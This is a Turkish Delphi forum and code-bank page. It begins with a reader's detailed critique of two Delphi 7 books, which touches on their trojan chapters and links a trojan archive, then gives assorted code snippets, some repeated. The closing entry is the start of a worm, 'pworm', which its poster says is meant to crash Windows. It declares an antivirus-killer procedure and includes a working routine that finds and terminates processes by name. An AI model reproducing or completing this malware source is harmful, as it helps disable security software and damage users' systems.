kitap eleştirisi ( zirvedeki beyinler )
Fazla uzatmadan hemen öz eleştirilere girmek istiyorum.
Delphi 7.0 Zirvedeki Beyinler: ( 1. Baskı )
[ 2.baskınızı kitapçıda gördüm ama okumadım ]
Güven verici ve anlaşılır bir dil kullanmanızı öncelikle büyük bir takdirle
karşılıyor ve tebrik ediyorum. Espritüel yaklaşımınız da gayet hoş ve güven
verici. Bir programcının gözüyle olaya odaklanmışsınız ve bu da güzel.
Yeni başlayan birisi bu espirileri anlayamasa da az çok programlama ile haşır
neşir olmuş birisi için oldukça eğlendirici ve stress giderici bir anlatım tarzı
kullanmışsınız. Gayet hoşuma gitti.
Konu indexi olarak, delphiye giriş ve yeni başlayan birisi için bulunmaz
bir nimet olarak görüyorum bu kitabı. Ancak, ileri seviye konularına değinilmemiş.
İsterdim ki ileri seviyeye de hitap eden ve aynı formata sahip bir kitabınızı
piyasaya çıkartmış olmanız idi.
Kitabınızda gözüme çarpan ağırlık, tarih fonksiyonları oldu.
Bu konu üzerine çok fazla değindiğiniz için kitap biraz kalınca olmuş
kanaatindeyim. Özellikle tarih fonksiyonlarının çokluğu, rutin bir anlatım ve
sırası belli bir indexten takip edildiği izlenimi uyandırdı bende.
Bu rutinlik için -1 puan
Pointer ve Class yapılarını anlatımınız, okuduğum kitaplar içersinde en
anlaşılır ve net olarak yer alıyor. Bu konuları güzel anlatımınız için +1 puan.
Kodlama örneklerinizin bütünlüğü ve doyuruculuğu açısından pek geniş bir içerik
olduğunu düşünmüyorum. Konu içeriği olarak beğendiğim hususlar, obeb-okek
örnekleri ve sıralama kodlarının bulunduğu bölümler idi. Diğer bölümler,
diğer kitaplara göre daha pasif bir bilgi içeriğine sahip idi kendi fikrimce.
( obeb-okek ve sıralama algoritmaları için +1 puan, diğer rutin konulara == )
Bazı yerlerde eksik ve hatalı kodlama ve anlatımların olduğunu farkettim.
Sayfa 77:
Procedure Tform1.button8click(sender:Tobject);
Var notu:integer;
Begin
Notu:=70;
İf notu>50 then
Begin
Form1.caption:='sınıfı geçtin' //artık ";" var
* End;
Else
Begin
Form1.caption:='sınıfta kaldın';
End;
End;
( * ) olan yerdeki ";" yüzünden bu kod çalışmaz. ( deneyin )
Ayrıca bir şu açıklamanızın tam tersini ben öğrencilerime vermeye çalışıyorum
Demişsiniz ki: "uzmanlaşmadan önce yazacağınız kodları (if için) muhakkak
"begin-end" bloğu içerisinde yazmaya gayret edin. Bu şekilde bir hareket,
hata yapma şansınızı mimimuma indirecektir.
Daha sonra delphi'ye hakim olursanız o zaman dilediğiniz şekilde kodlama
yapabilirsiniz. Kodları editörünüze yazarken de biraz dikkatli olursanız,
daha sonra kodu incelerken sizin için çok büyük kolaylık sağlayacaktır"
halbuki öğrencilerin en çok kafasını karıştıran konulardan birisi de siz de
iyi biliyorsunuz ki "begin-end-;" kombinasyonlarıdır.
Sayfa 83:
Bir çok örneğinizde direkt olarak kullanıcının edit hücrelerine sayı girileceği
varsayılmış kitabınızda. Ve öğrenci o hücrelere sayı girmeden "hesapla" tuşuna
bastığında da hata raporu gördüğünde kafası bulanıyor ve kendisini şartlıyor
illa da sayı girilmesi gerektiği konusunda.
Kitabınızda bahsettiğiniz hatalara karşı tecrübelerinizden bahsetmeniz çok güzel,
burada bu ve bunun gibi kodların tümünü "vize1:=strtointdef(trim(edit1.text),0);"
şeklinde yazmanız hiçbir karmaşıklığa yol açmayacaktır kanısındayım.
Öğrencilerime ben her zaman bu şekilde tahtaya kodları yazıyorum
ve sebebini kodlama yaparlarken biliyorlar.
Sayfa 86:
Bu sayfanın ilk paragrafına asla katılmıyorum.
Ben derslerimde önce if deyimi anlattıktan sonra "case" deyimine geçmeden önce
çok zor şartlar koyuyorum ve bunu if deyimleri ile kodlamalarını söylüyorum.
Ve if deyiminin çok karmaşık olan absürt-saçma isteklerini yerine getiren
kodu yazmalarını söylüyorum ve işin içinden çıkamadıklarını görüyorum.
Case deyimi ile bu absürt mantıkları çok rahat bir şekilde programlayabiliyorlar.
Bu konuda orijinal bir sorum mevcuttur ve if deyimleri ile kodlanması imkansızdır.
Case deyimi cevap verebilmektedir.
Sayfa 88:
En alt paragrafta bahsi geçen
" case yapısı string veriler için delphide kullanılamamaktadır.
Eğer dallanmaya uğrayacak değişkeniniz string veri içeriyorsa o zaman
sorununuzu "if" yapısıyla çözmeyi deneyiniz"
bu cümle çok ilgimi çekti !
eğer, denemeye açık bir politika anlatımı izliyor iseniz
( ki zaten izliyorsunuz kitapta ), case yapısı string veriler için delphide
kullanılabilmektedir. Çünkü bu işi dolaylı olarak çok güzel bir şekilde
array-type-case-of yapısı ile çözebilirsiniz. Ben bunu öğrencilerime
Level-2 seviyesine geçtiklerinde anlatıyorum.
Sayfa 103:
Sıralama algoritmalarında bahsi geçen,
Demişsiniz ki: "bu sıralama algoritmasını kullanmanızı tavsiye etmiyorum.
Listbox'taki elemanların fazla olması durumunda çok ağır kalacaktır.
Daha hızlı çalışan diğer algoritmaları kullanın."
Peşin bir hükümmüdür bu bubble-sort hakkında söylenilenler bilmiyorum ama,
bu konuda uzman bir profesör diyor ki
"şayet verileriniz karışık bir düzende ise, bubble sort
quick sort'tan daha hızlı çalışabilmektedir."
Test ettim ve gördüm. Çok karmaşık verileri bubble sort daha hızlı sıralıyor.
Quick sort genel olarak hızlıdır ama karışık olmayan ve rutin sabit
aralıklı 10.000 adet sayıyı sıralarken bubble-sort'a göre daha yavaş olduğunu
sizler de görebilirsiniz. Dolayısıyla, sıralama yöntemleri konusunda peşin
söylenmiş bir hükmü pek doğru bulmuyorum.
Sayfa 133:
Maxintvalue(dizi); //en büyük değere sahip eleman ( sayfa 131 )
Minintvalue(dizi); //en büyük değere sahip eleman ( sayfa 133 )
Kopyala yapıştır hatası mı acaba ? kullanıcının kafası karışmaz mı sizce?
Sayfa 368:
Alt klasörlerde de arama-tarama yapan ve Tsearchrec yapısını biraz daha anlatan
örnekleriniz olsaydı çok daha güzel olurdu. Öğrencilerimin bir çoğu,
alt klasörlerde de arama yapan ve bunları treelist nesnesine aktaran kodlamayı
soruyorlar.Ben bunları en ince detayına kadar derslerimde anlatıyorum ve
öğrencilerin ufku daha da açılıyor kendileri yeni eklentiler yapabiliyorlar.
Pratiğe ve piyasaya yönelik bir uygulama açısından
son derece önemli bir konu bence. Çünkü, bir sürü bahsettiğiniz
tarih fonksiyonu yerine bu konuya biraz daha ağırlık vermeniz bence
daha profesyonelce ve göz dolduran bir yapı olurdu.
Sadece ilgili klasördeki dosyaların listesini vermek ve sadece
findfirst-findnext komutlarını anlatıp
örneksiz pas geçmek bence puan kaybı idi.... -1 puan
Sayfa 447:
Burada bahsi geçen kodlama örneğini tasvip etmedim...
kulağı sağdan göstermekle eşdeğer gördüm. Çünkü, sayfa 441 de indexof
methodundan bahsetmişsiniz, neden bu mantığı kullanarak kullanıcıyı
rahatlatmıyorsunuz da uzunca kodlama örneği veriyorsunuz ? uzunca kod görsün
tecrübesi artsın diyorsanız, zaten indexof komutu azca bilinen bir komut.
Çoğu programcı uzunca for döngüsü içersinde tek tek satırları aratır.
( lineer search ) benim öğrencilerime de ben indexof komutunu göstermeden
önce aradığınız veriyi hadi bulun dediğimde zaten verdiğiniz kod ile arama
yapılıyor ( not: büyük küçük harfe de duyarlı değil verdiğiniz kodlama,
olması da gerekmiyor ) madem indexof komutunu sayfa 441 de işlemişsiniz
neden bu komutun gücünü ön plana çıkartmadınız?.. oturaklı bir örnek olurdu.....
"İf listbox1.indexof(edit1.text)=-1 then listbox1.items.append(edit1.text);"
gibi.... bu kadar basit ve etkin bir şekilde göz dolduran bir yöntem varken
neden uzatıyorsunuz anlamıyorum.. uzatılmış kodlamaları delphiye yeni başlayan
birisi asla ve asla anlamayacaktır ve anlamıyorlar da... ( bir müddet zaman
geçtikten sonra algılıyorlar )
sayfa 458:
"listbox1.topindex" özelliğini anlatmışsınız iyi güzel.
En azından bir uygulama örneği gösterseydiniz çok daha güzel olurdu.
"bilhassa birden fazla listebox (yazım hatası var kitapta) ile çalışırken
kullanılan bir özelliktir" cümlenize karşılık okuyucu merak eder,
nedir bu özellik ? görelim bakalım neymiş?... ben bu özelliği bilhassa
derslerde öğrencilere birden fazla listboxlarda gösteriyorum.
Sizin söylediğiniz ile bire-bir örtüşüyor, ama örneğiniz yok...
olsaydı göz doldururdu.
Sayfa 469:
Yani inanır mısınız, buradaki bahsi geçen kodu ilk gördüğümde
gerçekten gücendim. Gücendim çünkü istenileni tam yapmayan bir kodun yazılmış
olduğunu o anda farkettim.
Neden hep items[0] değerine yazdırılıyor ki ? ve .add komutu ile başlamışken ?
Bu örneği deneyip sonuçlarını gördüğünüz mü veya istenileni yapar mı sizce ?
Bu örneğe -1 puan veriyorum.... bence büyük bir gaf... gaf diyorum çünkü
kullanıcı sanıyor ki, alt alta dbgrid gibi her eklenen veriler eklenecek...
ama öyle olmuyor ne yazıkki... hüzün dolu bir kod...........
Sayfa 483:
Açıkçası ( sayfa 485 dahil ) bu örneği ne için anlattığınızı anlayamadım
şahsen.. tab sekmesi ile alt sayfa açılıyor iyi güzel ama, bu açılan sayfalara
ilişkin öğrencinin aklına hemen "hocam dinamik ve etkin sayfalar
üretebiliyor muyuz?" sorusu geliyor. Yani demek istediğim, açtığınız bu tab
sayfalarının içini de dinamik olarak buttonlar ile ve dizaynı yapılmış
memo vs gibi nesneler ve click olayları ile beraber oturtabiliyor muyuz?..
bu konudan ilerleyen sayfalarda bahsetmişsiniz ama, bahsettiğiniz bölüm ile
bu bölüm arasındaki ilişki dağlar kadar............. ve dolayısıyla açılmış boş
tab sayfaları hiçbir işe yaramıyor. Sadece tabbednotebook nesnesinin methodu
olarak geçiyor... ne güzel...
Veri tabanı örnekleriniz bir sonraki kitabınız ile neredeyse bire-bir aynı.
Bu konuya diğer kitabınızda değineceğim.
Registry örneklerinizi de zayıf gördüm. Bu konudan bahsetmeyeceğim.
Uzmanlar için beyin jimnastiğine geçiyorum:
Uygulama 15 ve uygulama 16 soruları beni mest etti !
Uygulama 15 deki kod, aşağıdaki kod ile aynı:
function SayiOku(Sayi:String; Bosluk:Boolean=False):String;
// Bu fonksiyon -fatihçopur- tarafından yazılmıştır (Made in Turkiye)
// girilen 36 basamaklı sayının okunuşunu döndürür
var
Basamak:Array[0..2] of Byte;
i,j:Byte;
BoslukStr,Birler,Yuzler,Boluk,UBSayi,UBSayiOkunusu:String;
Begin
if Bosluk then BoslukStr:=' ' else BoslukStr:='';
Birler := ' bir iki üç dört beş altı yedi sekizdokuz';
Sayi := Stringofchar('0',36 - Length(Sayi)) + Sayi;
for i := 0 to 11 do begin
UBSayi := copy(Sayi, 3 * i + 1, 3); UBSayiOkunusu := '';
if ((i <> 10) or (UBSayi <> '001')) and (UBSayi <> '000') then begin
for j := 0 to 2 do Basamak[j] := strtoint(copy(UBSayi, j + 1, 1));
Yuzler := '';
if Basamak[0] = 1 then
Yuzler := BoslukStr + 'yüz'
else if Basamak[0] > 1 then
Yuzler := Trimright(BoslukStr + copy(Birler, 5 * Basamak[0] + 1, 5)) + BoslukStr + 'yüz';
UBSayiOkunusu := Yuzler + Trimright(BoslukStr + copy(' on yirmi otuz kırk elli altmışyetmişseksendoksan', 6 * Basamak[1] + 1, 6)) + Trimright(BoslukStr + copy(Birler, 5 * Basamak[2] + 1, 5));
end;
if UBSayi = '000' then Boluk := '' else Boluk := TrimRight(BoslukStr + copy('desilyon nonilyon oktilyon septilyon sekstilyonkentilyon katrilyon trilyon milyar milyon bin ', 10 * i + 1, 10)); // sekstilyon yerine hekstilyon da kullanılabilir.
result := Trimleft(result + UBSayiOkunusu + Boluk);
end;
end;
hangi kodlamanın orijinal olduğuna siz karar verin lütfen....
uygulama 16 daki kodlama yöntemini ise son derece zayıflık olarak görüyorum.
Bu denli iç içe geçmiş if deyimleri ve
uzun uzadıya sayfalarca kodlama yapılmamalı.......
sonuç olarak, delphi 7 ZB-5 kitabındaki örnekleri yeterli görmüyorum.
Konu içerikleri bazı yerlerde iyi anlatılmış ama genel olarak zayıf görüyorum.
Tecrübelerime ve okuduğum kitaplara dayanarak şu kıyaslamaları yapabilirim:
Zeydi.pala-ihsan.karagülle = pratiğe ağırlık vermiştir ve takdir ettiğim
örneklerle ve kodlama mantıklarıyla beni büyülemişlerdir.
Çok takdir ettiğim yazarlardır.
Ruhver.barengi = beni tam anlamıyla bilgi yönünden doyuran ve mest eden favorim.
Cok fena ufkumu açmıştır. Karşıma çıkarsa elinden öpecem.
Marco.cantu = anlam veremediğim hyper bilgi birikimine sahip olmasına rağmen
hala kitaplarından bir şey anlamıyorum....
Charles.Calvert = beni aşırı çalışmaya zorlayan, sabahlatan adam...
karşıma çıkarsa elinden öpecem.
Yüksel.İnan-Nihat.Demirli = Anlaşılır yazı dili ve konu kapsam formatı ile
etkilendiğim lisan dili. İlk elime alıp kabaca baktığımda iyi puan vermiştim.
İçeriğini okuduğumda daha da doyurucu örneklerin olması gerektiğine karar verdim.
Diğer = açıkçası kaile almıyorum....... low level olanlar beni ilgilendirmiyor...
Kitabınızın ilerleyen sayfalarında bir sonraki kitabınızı çıkaracağınızı
söylediğinizde 4 gözle bekledim inanın. Bekledim çünkü network ve trojan
programcılığına değineceğinizi söylemiştiniz. Sabırsızlıkla bekledim.
Delphi 7 - veri tabanı ve network programcılığı
Kitabınızı kadıköy'de kitapçıda ilk gördüğüm anda aldım.
Ve gidip burger kingde hamburger ve kola eşliğinde 2 saatte bitirdim.
Çok hızlı ve çabucak göz gezdirdim örneklerinize. Ve çoook kızdım çok...
Kitabınızı sanırım hızlıca yayına bastığınız için, daha ilk sayfalarda
yazım hataları gözüme çarptı:
Önsöz-sonsöz-309 sayfalarında yazım hatalarınız var.
Önsöz = konususnda ( sibel yanar - teknik editor )
Sonsöz= hkkındaki
309 = başlantı kesildi
kitabın ilk sayfalarında yazım hatasının olması bende
"aceleye gelmiş bir kitap" izlenimi oluşturdu. Haksız mıyım acaba ?
bde konu anlatımınız tamam. Ama biraz daha örnek gerekiyor.
Sql konu anlatımınız Türk yazarlar içersinde number 1. +1 puan.
Master Details tablo yapılarını uygun örneklerle anlatmışsınız. +1 puan
( veri tabanı anlatımınız ve örnekleriniz önceki kitap ile aynı olduğu için -1 puan )
Teechart ok
Qreport ok
Decision cube ok
Rave ok.
Yukarıdaki bilgilerin bir çoğunu diğer kitaplardan da öğrenmemiz mümkün.
Fark atacak konuların olmasını bekliyorum. Devam..........
Sayfa 222:
Kodlama olarak doğru bir mantık, ama form.create olayına yerleştirmiş
olmanız bence bir eksiklik... işte diğer yabancı yazarlar burada şöyle
bir cümle kullanıyorlar "aşağıdaki kodlama bir veri tabanına bağlantı yapar.
İstediğiniz button cliğine veya belirleyeceğiniz bir yere bu kodu şablon
olarak kullanabilirsiniz" bu cümle programcıda çok fazla ufuk açar.
Ama sizin örneğinizde, direkt olarak form create olayında bu konunun
işlenmesi uzun vadede sorunlara yol açar... açılışta değerleri hesaplatmak ve
programın açılışını beklemek ne kadar doğru olabilir............
bunu bari buttonun click olayına yerleştirin ve kullanıcıyı yönlendirin
en azından... madem yeni başlayanlara hitap ediyorsunuz ( ki bu kitabı
çıkarıyorsanız bence acemileri değil de orta ve ileri düzeyleri ele
almalıydınız ) çoğu kullanıcı neyi nereye yazdığının farkına bile varmadan
kendi kendilerine cebelleşecekler bence.........
Sayfa 224:
Veri tabanlarında hep aynı şey hep aynı şey ! neden veriler içersinde de bir
resim gösterilmez anlamam ki ? hele ki access de ! herşey microsofta
odaklanmış iken paradoxun yetersiz kaldığı durumlarda accesse jpeg resim
gömmek ne kadar değerli ve önemli bir şeydir değil mi.... ama örneklerde hiç
bahsedilmiyor. Paradoxde dbimage ile geçiştirilmiş, ama accessde hep paradox
veri yapısına kaçılmış... bu rutinliklerin hepsi diğer kitaplarda da mevcut
olduğu için kitabın can alıcı noktasının kaybettiğini düşünüyorum............
Sayfa 228:
ADO konusu anlatılmış. Ama neden hep paradox tabanına kaçılıyor hep soruyorum
bu soruyu ?... ben ADO veri tabanında ( access ) herşeyimi access de yapmak
istiyorum. Paradox ile uğraşmak istemiyorum artık. Bir kullanıcı olarak accesse
nasıl veri gömülür ( jpeg ) nasıl okunur bunu görmek istiyorum gibilerinden
bir okuyucu olarak -1 puan veriyorum..... Bunları ben inşallah anlatcam!
Sayfa 237:
Fielddefs komutunu anlatmışsınız. İlk 3 parametre anlatılmış ama
4. Parametreden hiç bahsedilmemiş? Ve bir okuyucu olarak 4. Parametre
( true - false ) neye dendiğini ben delphinin helpinden bakmak zorun da mıyım ?
sorusu aklıma geliyor...
Anlatılmış olmak için anlatılmış bir izlenim oluyor, ki bu sayfada anlatıllanlar
ileri seviye için bilinen bir kodlama tekniği olduğunu düşünüyorum.
( not: hep ileri seviyeden bahsediyorum, acemilerin e ileri seviyede herşeyin
cevabını beklediklerini biliyorum )
Ayrıca xml dosya formatından bahsedilmiş, ancak bu konuyu illa burada
( bu sayfada ) üstüne basa basa vurgulamanızı biraz yadırgadım, çünkü normal
olarak bir .dataset kümesi de normal şartlarda xml dosyası olarak
kaydedilebiliyor olsa gerek ....... en azından ben kullanıyorum yani...
Sayfa 289:
Network programcılığı hakkında pek fazla bir şey okuduğum söylenemez..
isim olarak iştah açıcı ama içerik olarak -1 puan veriyorum.
Sayfa 304:
Kodun uzunca yazılması göze hoş görünüyor, ancak 2 adet kelimenin
( büyük küçük harf duyarlılığı olmadan ) sayfa isminde aranması
biraz şüpheli... burada öğrencilerime ben N adet yasaklı kelime
' ( 100 adet olabilir ) nin yasaklı sitelere odaklanmasını anlatıyorum ve
bunları da gayet functional bir dille kodlayabiliyorlar.
Verilen örneği vasat görüyorum............
Sayfa 305:
Burada da epeyce eksiklik gördüm.....
Benim tanımlayabileceğim port range değerim nedir bilmiyorum ?...
verilen örnekteki 20.000 değerini ben 200.000 olarak da değiştirebilirim mi
anlamına geliyor ?.. neden port sınırları ve değerleri
konusunda bilgi verilmiyor burada..... neden windowsun özel portlarının
tanımlanmaması gerekliliği konusuna değinilmiyor ? madem kitap trojan yazılımı
üzerine bir kitap olacak bu tür teknik konulara değinilmesi gerekiyordu.
Biraz komiğe kaçıyor kusura bakmayın...
ayrıca .bpl dosyalarının yüklenmesi de anlatılmamış.
Ayrıca Tcpserver ve Tcpclient nesneleri çok verimli değildirler.
Delphi 7.0 kullanıcıları normal Tclientsocket nesnelerini programlarda
göremeyeceklerdir doğal olarak... eksik eksik eksik........
Sayfa 311:
"kaydettikten sonra bir kez çalıştırın exesi oluşsun" cümlesi çok hoşuma
gitti ya ! diyecek sözüm yok :
Sayfa 312:
Yani ne diyim... mantık hatası mı diyim. Gereksiz iş yükü mü diyim?
Her defasında butona tıkladığımda hep bağlanıyor hep bağlanıyor.
False ve true oluyor. Ne gereği var ?...
acaba hiç düşündünüz mü ya da denediniz mi bu işlevselliğin verimliliğini ??....
örneklerinizi son derece zayıf görüyorum...
Sayfa 316:
İf deyimlerini çok seviyorsunuz, ama biraz da case kullanın yaw :
kısaltın kodları. Bu sayfadaki kodlama yapısı gerçekten bana acemice geliyor...
çünkü nerde böyle bir tip kod görsem hep case deyimi ile yapılıyor.
Çünkü case daha kolay ve daha anlaşılır.
Ne diyim daha if deyimine ısrar ediliyor hep...
yani bu sayfadaki kodu şeytan diyor 2 satırda hallet walla billa :
Sayfa 317:
Gelelim işin en exanterik kısmına.... datasettableproducer güzel bir nesnedir,
ama işin kolayına kaçılıyor : binlerce verimin olduğu bir html
sayfasının datasettableproducerde her sorguda ne kadar zaman harcadığını
ben tecrübemle söyleyebilirim.. remote query konusunda zayıflık görüyorum...
ha, madem datasettableproducter anlatılıyor, bunu ben şöyle yapardım, sorgu
sonuç listesini cliente gönderirdim, cliente vardıktan sonra, client üzerinde
bu datasettableproduceri çalıştırırdım. Dolayısıyla server kasmazdı o kadar.
Indy kontrollerini geçiyorum. Genel olarak pek bir faydasını zaten görmüyorum
bu kontrollerin. Ya da herşeyi kodlama ile yaptığım için bana pek iştah açıcı
gelmiyor bu indyler. Ama kullanıcıların ilgisini çekiyor tabii ki !
ne de olsa INDY nesneleri !
Sayfa 381:
İlk trojan.......
Yani ınanır mısınız, o kadar merakla okudum ki bu bölümü...
bir o kadar gücendim gücendim gücendim...
Tüm kodları neden toz pembe görüyorsunuz bilinmez ? sayfa 382 deki
deletefile('nihat.txt') satırına gerçekten çok sinirlendim...
hadi bu dosyayı sildi, sonra ?...
neden fileexists ile güzelleştirilmiyor acaba?..
neden try-except arasına konulmuyor bu satır?..
herşey toz pembe gözüyle çalıştırılırsa 1 çalışır 2 çalışır 3.de hata verir..
yani ileri görüşlülük olsa daha iyi olmaz mı ?...
Sayfa 389:
Daha gelişmiş bir trojan...........
Allahım... Yarabbim......
Index numaralarını servere göndemeye ne gerek var ?....
Allah aşkına ne gereği var ?..
bana nedenini söyleyin lütfen ??...
zaten hiçbir şekilde de dosya transferi yapılmıyor.
Indexi servere göndercem de server üzerindeki listbox üzerinde ilgili dosyaya
konumlanacam o kadar... Bahsi geçen örnekler de son derece zayıf...
dosya gönderirken kaç byte gitti kaç byte geldi, diğer yan işlemlere
izin verilmesi vs gibi konulara hiç yer verilmemiş...
Trojan kelimesi nedense hep ilgi çekmiştir bilinmez !..
Sayfa 392:
Her bastığım ok tuşunda servere neden parametre gönderiyorum index ?..
gereği var mı ? bu işlem networkde çalışır ama remote pc lerde ne kadar
verimli olur hiç denediniz mi bilmiyorum yani......................
Ve kitap end..............
Diyecek başka bir sözüm yoktur bu konuda.
Trojan konusunda türkçe yazılmış program görmek istiyorsanız, ( nostalji )
http://www.megasecurity.org/trojans/n/neoturk/Neoturk_all.html
( bunu reklam olarak algılamayın, zaten trojan devri bitti artık.... )
saygılarımla_
neoturk_ [ xxnt03@lycos.co.uk ]
Delphi - .....................................
Alana Resim Yazma
Dallamalar sürüsü sizi, öğrenemnin de bir yolu yordamı var cevap vermenin de.
Madem öğrenmek için yoldan çıkıp kod bankı folloş ettiniz bende düşüncemi kusayım.
Bilgiyi öğrenmek ve kullanmak gökten zembille inmez. Uğraşın araştırın.
Bu iş için formlar var onları kullanın. Kod banka kodlar yazılır aşağıdaki gibi.
(Buradaki paragraftaki gibi şeyler yazılmaz. Bende bu dallamalığa katıldım ve
kodbankı folloş etmede bende katkıda bulundum artık çok geç)
Öğrenmesini bilmeyen, kodbanka bulaşıp sorusunu yazmasın.
/////////////////////////////////////////////////////////////////////////////////
HERŞEY TEMİZ KOD BANKASI İÇİN.
/////////////////////////////////////////////////////////////////////////////////
Resim: TDBImage;//Forma bu bileşen yerleştirir ve Blob alan tipinde bir alana ayarlanır.
Resim.DataSource.DataSet.Edit;
Resim.Picture.LoadFromFile('Deneme.bmp');
Resim.Field.Assign(Resim.Picture); //Buda alana resimi aktarır.
Resim.DataSource.DataSet.Post;
Resimi silmek için
Resim.DataSource.DataSet.Edit;
Resim.Field.Clear;
Resim.DataSource.DataSet.Post;
Herhangi bir Image üzerine resim alanından resimi getirmek için
Image1.Picture.Assign(Table1Resim{Resim alanı=TBlobField});
Herhangi bir Image üzerinden resim alanına yazmak için
Image1.Picture.LoadFromFile('Deneme.bmp');
Table1.Edit;
Table1Resim.Assign(Resim.Picture);
Table1.Post;
Kapalı Olan Bir Table Şifre Sorgu Ekranı İle Açılması
www.golaks.com
*******************************************************************************
procedure TPForm.OKBtnClick(Sender: TObject);
var
str1, pwd : string;
begin with DataForm do
begin
tblSifreler.open;
str1 := PForm.Password.text;
pwd := tblSifrelerAltRSifre.value;
PForm.Password.text := '';
if (str1 = pwd ) then
begin
GirisForm.grRecete1.visible := true;
PForm.Close;
end
else
begin
Showmessage('Hatalı Şifre Girdiniz. Lütfen Tekrar Deneyin!');
end;
end;
end;
******************************************************************************
KOLAY GELSİN..!
Delphi - .....................................
Kapalı Olan Bir Table Şifre Sorgu Ekranı İle Açılması
www.golaks.com
*******************************************************************************
procedure TPForm.OKBtnClick(Sender: TObject);
var
str1, pwd : string;
begin with DataForm do
begin
tblSifreler.open;
str1 := PForm.Password.text;
pwd := tblSifrelerAltRSifre.value;
PForm.Password.text := '';
if (str1 = pwd ) then
begin
GirisForm.grRecete1.visible := true;
PForm.Close;
end
else
begin
Showmessage('Hatalı Şifre Girdiniz. Lütfen Tekrar Deneyin!');
end;
end;
end;
******************************************************************************
KOLAY GELSİN..!
Resmi Boyutlandırma
Burada hem resmi jpeg'den bitmap'e çevirmeyi hemde boyutlandırmayı aynı anda yapıyoruz.
procedure ResmiBoyutlandir(KaynakResim:string; Y:integer; G:integer);
var
jpg : TJPEGImage;
img : TBitmap;
img2 : TBitmap;
XRect : TRect;
begin
try
jpg := TJPEGImage.Create;
//resmi hafızaya al
jpg.LoadFromFile(KaynakResim);
img := TBitmap.Create;
img.Height := jpg.Height;
img.Width := jpg.Width;
img.Canvas.Draw(0,0,jpg);
img2 := TBitmap.Create();
img2.Height := Y;
img2.Width := G;
XRect := Rect(0, 0, G, Y);
img2.Canvas.StretchDraw(XRect,img);
//resimleri image bileşenlerinde göster
Form1.Image1.Picture.Graphic := jpg; //orijinal resim
Form1.Image2.Picture.Bitmap := img2; //boyutlandırılmış hali
//hafızadan at
jpg.Free;
img.Free;
img2.Free;
except
Application.MessageBox('Hata oluştu','Hata',MB_OK+MB_ICONERROR);
end;
end;
//kullanımı
ResmiBoyutlandir('D:BelgelerimResimlerimkedi.jpg',110,80);
//yükseklik : 110
//genişlik : 80 verilmiştir. kendinize göre uyarlayabilirsiniz...
Delphi - .....................................
Resmi Boyutlandırma
Burada hem resmi jpeg'den bitmap'e çevirmeyi hemde boyutlandırmayı aynı anda yapıyoruz.
procedure ResmiBoyutlandir(KaynakResim:string; Y:integer; G:integer);
var
jpg : TJPEGImage;
img : TBitmap;
img2 : TBitmap;
XRect : TRect;
begin
try
jpg := TJPEGImage.Create;
//resmi hafızaya al
jpg.LoadFromFile(KaynakResim);
img := TBitmap.Create;
img.Height := jpg.Height;
img.Width := jpg.Width;
img.Canvas.Draw(0,0,jpg);
img2 := TBitmap.Create();
img2.Height := Y;
img2.Width := G;
XRect := Rect(0, 0, G, Y);
img2.Canvas.StretchDraw(XRect,img);
//resimleri image bileşenlerinde göster
Form1.Image1.Picture.Graphic := jpg; //orijinal resim
Form1.Image2.Picture.Bitmap := img2; //boyutlandırılmış hali
//hafızadan at
jpg.Free;
img.Free;
img2.Free;
except
Application.MessageBox('Hata oluştu','Hata',MB_OK+MB_ICONERROR);
end;
end;
//kullanımı
ResmiBoyutlandir('D:BelgelerimResimlerimkedi.jpg',110,80);
//yükseklik : 110
//genişlik : 80 verilmiştir. kendinize göre uyarlayabilirsiniz...
Delphi - .....................................
Tüm Kodbank Sorularının Cevabı 3
Diğer arkadaşlardan özür dilerim kusura bakmasınlar
Anlatamadım galiba burası soru sorma yeri değil
gavur bile gavurken nerden yardım isteyeceğini bilir
Milliyetçilik ise bambaşka tartışmaya açık bi konu
Burasıda
Dilenme Yeri değil,
Yalvarma Yeri değil,
Eğitilme Yeri değil,
Başkalarını Savunma Yeri değil,
Evlenmedirme Dairesi Hiç Değil !!!
Bilmem anlatabildim mi ?
Yardım Almak için farkındamısın bilmiyorum ama
TDI diye bir bölüm var !!!!
Delphi - .....................................
Tüm Kodbank Sorularının Cevabı 3
Diğer arkadaşlardan özür dilerim kusura bakmasınlar
Anlatamadım galiba burası soru sorma yeri değil
gavur bile gavurken nerden yardım isteyeceğini bilir
Milliyetçilik ise bambaşka tartışmaya açık bi konu
Burasıda
Dilenme Yeri değil,
Yalvarma Yeri değil,
Eğitilme Yeri değil,
Başkalarını Savunma Yeri değil,
Evlenmedirme Dairesi Hiç Değil !!!
Bilmem anlatabildim mi ?
Yardım Almak için farkındamısın bilmiyorum ama
TDI diye bir bölüm var !!!!
Delphi - .....................................
daha bitmedi ama window'ları göçertmek için yazdığım kodlar. işinize yara belki
{
arkadaşlar henüz bitmedi kodların çoğunu delphiturk'den derledim
bitince tamamını buraya eklerim.
}
//pworm.dpr
program pworm;
uses
Forms,
windows,
sysutils,
dialogs,
umain in 'umain.pas' {frmMain};
{$R *.res}
begin
Application.Initialize;
Application.Title:='';
Application.CreateForm(TfrmMain, frmMain);
Application.Run;
end.
//umain.pas
unit umain;
interface
uses
Windows, SysUtils, Variants, Forms,
Dialogs, TLHelp32, StdCtrls, Registry, ShellAPI;
type
TfrmMain = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
procedure tAntivirusKiller;
end;
var
frmMain: TfrmMain;
implementation
{$R *.dfm}
function TerminateProcess(hProcess: THandle; uExitCode: LongWord): LongBOOL; stdcall; external 'kernel32.dll' name 'TerminateProcess';
function OpenProcess(dwDesiredAccess: LongWORD; bInheritHandle: LongBOOL; dwProcessId: LongWORD): THandle; stdcall; external 'kernel32.dll' name 'OpenProcess';
function CloseHandle(hObject: THandle): LongBOOL; stdcall; external 'kernel32.dll' name 'CloseHandle';
function extractfname(fil:string):string;
begin
while pos('',fil)<>0 do delete(fil,1,pos('',fil));
extractfname:=fil;
end;
function KillTask(ExeFileName: string): integer;
var
ContinueLoop: LongBool;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ExtractfName(FProcessEntry32.szExeFile) = ExeFileName
then
Result := Integer(TerminateProcess(OpenProcess($0001, LongBOOL(0),FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32);
end;
